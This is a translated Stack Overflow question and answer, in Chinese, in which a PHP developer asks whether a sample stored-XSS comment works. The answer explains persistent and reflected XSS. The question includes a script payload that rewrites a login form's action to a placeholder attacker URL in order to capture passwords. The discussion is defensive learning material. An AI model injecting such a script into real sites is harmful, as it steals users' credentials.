我是一名 PHP 开发人员,我希望提高我网站的安全性。
据我了解,以下是影响 Web 应用程序的两种主要类型的漏洞:
- SQL注入(inject)
- 跨站攻击
可以使用准备好的语句修复 SQL 注入(inject) - 很简单。
但我还是不太明白 XSS——下面是 XSS 的例子吗?...
- 充满用户制作内容的页面在顶部(全站范围)有一个登录表单。
- 用户对页面的输入未经过 HTML 转义。
- 用户将以下内容(例如评论)发布到页面...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
- 一个无辜的用户来到页面,脚本执行。
- 无辜的用户意识到他们没有登录,并在表单中输入他们的详细信息。
- 用户的详细信息被发送到
http://somehackysite.com/givemyourpw.php
,然后用户的帐户详细信息被盗。
所以我在这里真的有三个问题:
- 这行得通吗?
- 这是 XSS 吗?
- 除了转义 HTML 之外,开发人员是否应该采取任何预防措施来防止 XSS?
最佳答案
XSS 攻击有两种类型:反射型 XSS 攻击和持久型 XSS 攻击。您所描述的网站用户输入的数据保存在服务器端,并为查看页面的任何人呈现,这被认为是持久性 XSS。类似的攻击是,如果你在一个没有转义 Javascript 的帖子上有一个评论框,或者一个我可以放入任何东西的个人资料页面。
另一类 XSS 攻击是反射 XSS。这些稍微复杂一些,但它们相当于未转义页面的 URL 中的参数之一。它们经常出现在大型网站的搜索页面中。您将获得一个包含一些 javascript 的 URL(抱歉,我的示例在这里被渲染器破坏了,所以我无法向您展示示例),并且该页面将呈现允许某人制作恶意代码的 javascript网址。这些在处理任何类型的财务数据的站点上尤其危险;想象一个尽职尽责的用户,他总是检查以确保他们将写入指向他们银行的链接,但是由于反射 XSS 攻击,攻击者能够将他们发送到他们银行网站上的合法页面,但该页面具有恶意里面的代码。
无论如何,您的示例是持久性 XSS。与仅仅更改登录表单向用户发送的位置相比,您可以使用此类攻击做更邪恶的事情。多年来,它们一直很受欢迎,例如从站点的个人区域抓取信息,或者与 CSRF 结合使经过身份验证的用户通过简单地查看页面来执行某些操作。前一段时间有一些 MySpace 病毒会这样做,并从个人资料传播到个人资料。
关于php - 用户输入的带有 Javascript 的 HTML 显示给其他人但不是 HTML 转义的 XSS 示例,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/8963279/